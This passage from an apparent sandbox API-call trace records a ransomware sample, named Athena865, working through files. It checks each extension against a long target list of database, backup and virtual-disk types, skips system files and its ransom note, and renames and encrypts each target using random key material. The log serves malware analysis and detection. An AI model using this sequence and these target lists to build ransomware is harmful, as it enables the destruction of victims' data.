returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.168] lstrlenW (lpString="cma") returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.168] lstrlenW (lpString="cpd") returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.168] lstrlenW (lpString="dacpac") returned 6 [0121.168] lstrcmpiW (lpString1="3_.GIF", lpString2="dacpac") returned -1 [0121.168] lstrlenW (lpString="dad") returned 3 [0121.168] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.168] lstrlenW (lpString="dadiagrams") returned 10 [0121.168] lstrcmpiW (lpString1="00163_.GIF", lpString2="dadiagrams") returned -1 [0121.168] lstrlenW (lpString="daschema") returned 8 [0121.168] lstrcmpiW (lpString1="163_.GIF", lpString2="daschema") returned -1 [0121.168] lstrlenW (lpString="db-journal") returned 10 [0121.168] lstrcmpiW (lpString1="00163_.GIF", lpString2="db-journal") returned -1 [0121.168] lstrlenW (lpString="db-shm") returned 6 [0121.168] lstrcmpiW (lpString1="3_.GIF", lpString2="db-shm") returned -1 [0121.168] lstrlenW (lpString="db-wal") returned 6 [0121.168] lstrcmpiW (lpString1="3_.GIF", lpString2="db-wal") returned -1 [0121.168] lstrlenW (lpString="dbc") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.169] lstrlenW (lpString="dbs") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.169] lstrlenW (lpString="dbt") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.169] lstrlenW (lpString="dbv") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.169] lstrlenW (lpString="dbx") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.169] lstrlenW (lpString="dcb") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.169] lstrlenW (lpString="dct") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.169] lstrlenW (lpString="dcx") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0121.169] lstrlenW (lpString="ddl") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0121.169] lstrlenW (lpString="dlis") returned 4 [0121.169] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0121.169] lstrlenW (lpString="dp1") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0121.169] lstrlenW (lpString="dqy") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0121.169] lstrlenW (lpString="dsk") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0121.169] lstrlenW (lpString="dsn") returned 3 [0121.169] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0121.169] lstrlenW (lpString="dtsx") returned 4 [0121.169] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0121.170] lstrlenW (lpString="dxl") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0121.170] lstrlenW (lpString="eco") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0121.170] lstrlenW (lpString="ecx") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0121.170] lstrlenW (lpString="edb") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0121.170] lstrlenW (lpString="epim") returned 4 [0121.170] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0121.170] lstrlenW (lpString="fcd") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0121.170] lstrlenW (lpString="fdb") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0121.170] lstrlenW (lpString="fic") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0121.170] lstrlenW (lpString="flexolibrary") returned 12 [0121.170] lstrlenW (lpString="fm5") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0121.170] lstrlenW (lpString="fmp") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0121.170] lstrlenW (lpString="fmp12") returned 5 [0121.170] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0121.170] lstrlenW (lpString="fmpsl") returned 5 [0121.170] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0121.170] lstrlenW (lpString="fol") returned 3 [0121.170] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0121.170] lstrlenW (lpString="fp3") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0121.171] lstrlenW (lpString="fp4") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0121.171] lstrlenW (lpString="fp5") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0121.171] lstrlenW (lpString="fp7") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0121.171] lstrlenW (lpString="fpt") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0121.171] lstrlenW (lpString="frm") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0121.171] lstrlenW (lpString="gdb") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.171] lstrlenW (lpString="gdb") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.171] lstrlenW (lpString="grdb") returned 4 [0121.171] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0121.171] lstrlenW (lpString="gwi") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0121.171] lstrlenW (lpString="hdb") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0121.171] lstrlenW (lpString="his") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0121.171] lstrlenW (lpString="ib") returned 2 [0121.171] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0121.171] lstrlenW (lpString="idb") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0121.171] lstrlenW (lpString="ihx") returned 3 [0121.171] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0121.172] lstrlenW (lpString="itdb") returned 4 [0121.172] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0121.172] lstrlenW (lpString="itw") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0121.172] lstrlenW (lpString="jet") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0121.172] lstrlenW (lpString="jtx") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0121.172] lstrlenW (lpString="kdb") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0121.172] lstrlenW (lpString="kexi") returned 4 [0121.172] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0121.172] lstrlenW (lpString="kexic") returned 5 [0121.172] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0121.172] lstrlenW (lpString="kexis") returned 5 [0121.172] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0121.172] lstrlenW (lpString="lgc") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0121.172] lstrlenW (lpString="lwx") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0121.172] lstrlenW (lpString="maf") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0121.172] lstrlenW (lpString="maq") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0121.172] lstrlenW (lpString="mar") returned 3 [0121.172] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0121.172] lstrlenW (lpString="marshal") returned 7 [0121.172] lstrcmpiW (lpString1="63_.GIF", lpString2="marshal") returned -1 [0121.172] lstrlenW (lpString="mas") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0121.173] lstrlenW (lpString="mav") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0121.173] lstrlenW (lpString="maw") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0121.173] lstrlenW (lpString="mdbhtml") returned 7 [0121.173] lstrcmpiW (lpString1="63_.GIF", lpString2="mdbhtml") returned -1 [0121.173] lstrlenW (lpString="mdn") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0121.173] lstrlenW (lpString="mdt") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0121.173] lstrlenW (lpString="mfd") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0121.173] lstrlenW (lpString="mpd") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0121.173] lstrlenW (lpString="mrg") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0121.173] lstrlenW (lpString="mud") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0121.173] lstrlenW (lpString="mwb") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0121.173] lstrlenW (lpString="myd") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0121.173] lstrlenW (lpString="ndf") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0121.173] lstrlenW (lpString="nnt") returned 3 [0121.173] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0121.173] lstrlenW (lpString="nrmlib") returned 6 [0121.174] lstrcmpiW (lpString1="3_.GIF", lpString2="nrmlib") returned -1 [0121.174] lstrlenW (lpString="ns2") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0121.174] lstrlenW (lpString="ns3") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0121.174] lstrlenW (lpString="ns4") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0121.174] lstrlenW (lpString="nsf") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0121.174] lstrlenW (lpString="nv") returned 2 [0121.174] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0121.174] lstrlenW (lpString="nv2") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0121.174] lstrlenW (lpString="nwdb") returned 4 [0121.174] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0121.174] lstrlenW (lpString="nyf") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0121.174] lstrlenW (lpString="odb") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.174] lstrlenW (lpString="odb") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.174] lstrlenW (lpString="oqy") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0121.174] lstrlenW (lpString="ora") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0121.174] lstrlenW (lpString="orx") returned 3 [0121.174] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0121.174] lstrlenW (lpString="owc") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0121.175] lstrlenW (lpString="p96") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0121.175] lstrlenW (lpString="p97") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0121.175] lstrlenW (lpString="pan") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0121.175] lstrlenW (lpString="pdb") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0121.175] lstrlenW (lpString="pdm") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0121.175] lstrlenW (lpString="pnz") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0121.175] lstrlenW (lpString="qry") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0121.175] lstrlenW (lpString="qvd") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0121.175] lstrlenW (lpString="rbf") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0121.175] lstrlenW (lpString="rctd") returned 4 [0121.175] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0121.175] lstrlenW (lpString="rod") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0121.175] lstrlenW (lpString="rodx") returned 4 [0121.175] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0121.175] lstrlenW (lpString="rpd") returned 3 [0121.175] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0121.176] lstrlenW (lpString="rsd") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0121.176] lstrlenW (lpString="sas7bdat") returned 8 [0121.176] lstrcmpiW (lpString1="163_.GIF", lpString2="sas7bdat") returned -1 [0121.176] lstrlenW (lpString="sbf") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0121.176] lstrlenW (lpString="scx") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0121.176] lstrlenW (lpString="sdb") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0121.176] lstrlenW (lpString="sdc") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0121.176] lstrlenW (lpString="sdf") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0121.176] lstrlenW (lpString="sis") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0121.176] lstrlenW (lpString="spq") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0121.176] lstrlenW (lpString="te") returned 2 [0121.176] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0121.176] lstrlenW (lpString="teacher") returned 7 [0121.176] lstrcmpiW (lpString1="63_.GIF", lpString2="teacher") returned -1 [0121.176] lstrlenW (lpString="tmd") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0121.176] lstrlenW (lpString="tps") returned 3 [0121.176] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0121.176] lstrlenW (lpString="trc") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.177] lstrlenW (lpString="trc") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.177] lstrlenW (lpString="trm") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0121.177] lstrlenW (lpString="udb") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0121.177] lstrlenW (lpString="udl") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0121.177] lstrlenW (lpString="usr") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0121.177] lstrlenW (lpString="v12") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0121.177] lstrlenW (lpString="vis") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0121.177] lstrlenW (lpString="vpd") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0121.177] lstrlenW (lpString="vvv") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0121.177] lstrlenW (lpString="wdb") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0121.177] lstrlenW (lpString="wmdb") returned 4 [0121.177] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0121.177] lstrlenW (lpString="wrk") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0121.177] lstrlenW (lpString="xdb") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0121.177] lstrlenW (lpString="xld") returned 3 [0121.177] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0121.177] lstrlenW (lpString="xmlff") returned 5 [0121.178] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0121.178] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.Athena865") returned 73 [0121.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.athena865"), dwFlags=0x1) returned 1 [0121.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.179] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6984) returned 1 [0121.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.180] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.180] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.180] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.181] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e50, lpName=0x0) returned 0x154 [0121.182] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e50) returned 0x100000 [0121.187] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.188] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.188] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.189] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.189] CloseHandle (hObject=0x154) returned 1 [0121.189] CloseHandle (hObject=0x17c) returned 1 [0121.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.189] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0121.189] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.189] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.189] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".") returned 1 [0121.189] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="..") returned 1 [0121.189] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="windows") returned -1 [0121.189] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="bootmgr") returned -1 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="temp") returned -1 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="pagefile.sys") returned -1 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="boot") returned -1 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="ids.txt") returned -1 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="ntuser.dat") returned -1 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="perflogs") returned -1 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="MSBuild") returned -1 [0121.190] lstrlenW (lpString="AG00164_.GIF") returned 12 [0121.190] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00164_.GIF" | out: lpString1="AG00164_.GIF") returned="AG00164_.GIF" [0121.190] lstrlenW (lpString="AG00164_.GIF") returned 12 [0121.190] lstrlenW (lpString="Athena865") returned 9 [0121.190] lstrcmpiW (lpString1="0164_.GIF", lpString2="Athena865") returned -1 [0121.190] lstrlenW (lpString=".dll") returned 4 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".dll") returned 1 [0121.190] lstrlenW (lpString=".lnk") returned 4 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".lnk") returned 1 [0121.190] lstrlenW (lpString=".ini") returned 4 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".ini") returned 1 [0121.190] lstrlenW (lpString=".sys") returned 4 [0121.190] lstrcmpiW (lpString1="AG00164_.GIF", lpString2=".sys") returned 1 [0121.190] lstrlenW (lpString="AG00164_.GIF") returned 12 [0121.190] lstrlenW (lpString="bak") returned 3 [0121.190] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.190] lstrlenW (lpString="ba_") returned 3 [0121.190] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.190] lstrlenW (lpString="dbb") returned 3 [0121.190] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.190] lstrlenW (lpString="vmdk") returned 4 [0121.190] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.191] lstrlenW (lpString="rar") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.191] lstrlenW (lpString="zip") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.191] lstrlenW (lpString="tgz") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.191] lstrlenW (lpString="vbox") returned 4 [0121.191] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.191] lstrlenW (lpString="vdi") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.191] lstrlenW (lpString="vhd") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.191] lstrlenW (lpString="vhdx") returned 4 [0121.191] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.191] lstrlenW (lpString="avhd") returned 4 [0121.191] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.191] lstrlenW (lpString="db") returned 2 [0121.191] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.191] lstrlenW (lpString="db2") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.191] lstrlenW (lpString="db3") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.191] lstrlenW (lpString="dbf") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.191] lstrlenW (lpString="mdf") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.191] lstrlenW (lpString="mdb") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.191] lstrlenW (lpString="sql") returned 3 [0121.191] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.192] lstrlenW (lpString="sqlite") returned 6 [0121.192] lstrcmpiW (lpString1="4_.GIF", lpString2="sqlite") returned -1 [0121.192] lstrlenW (lpString="sqlite3") returned 7 [0121.192] lstrcmpiW (lpString1="64_.GIF", lpString2="sqlite3") returned -1 [0121.192] lstrlenW (lpString="sqlitedb") returned 8 [0121.192] lstrcmpiW (lpString1="164_.GIF", lpString2="sqlitedb") returned -1 [0121.192] lstrlenW (lpString="xml") returned 3 [0121.192] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.192] lstrlenW (lpString="$er") returned 3 [0121.192] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.192] lstrlenW (lpString="4dd") returned 3 [0121.192] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.192] lstrlenW (lpString="4dl") returned 3 [0121.192] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.192] lstrlenW (lpString="^^^") returned 3 [0121.192] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.192] lstrlenW (lpString="abs") returned 3 [0121.192] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.192] lstrlenW (lpString="abx") returned 3 [0121.192] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.192] lstrlenW (lpString="accdb") returned 5 [0121.192] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.192] lstrlenW (lpString="accdc") returned 5 [0121.192] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.192] lstrlenW (lpString="accde") returned 5 [0121.192] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.192] lstrlenW (lpString="accdr") returned 5 [0121.192] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.192] lstrlenW (lpString="accdt") returned 5 [0121.193] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.193] lstrlenW (lpString="accdw") returned 5 [0121.193] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.193] lstrlenW (lpString="accft") returned 5 [0121.193] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.193] lstrlenW (lpString="adb") returned 3 [0121.193] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.193] lstrlenW 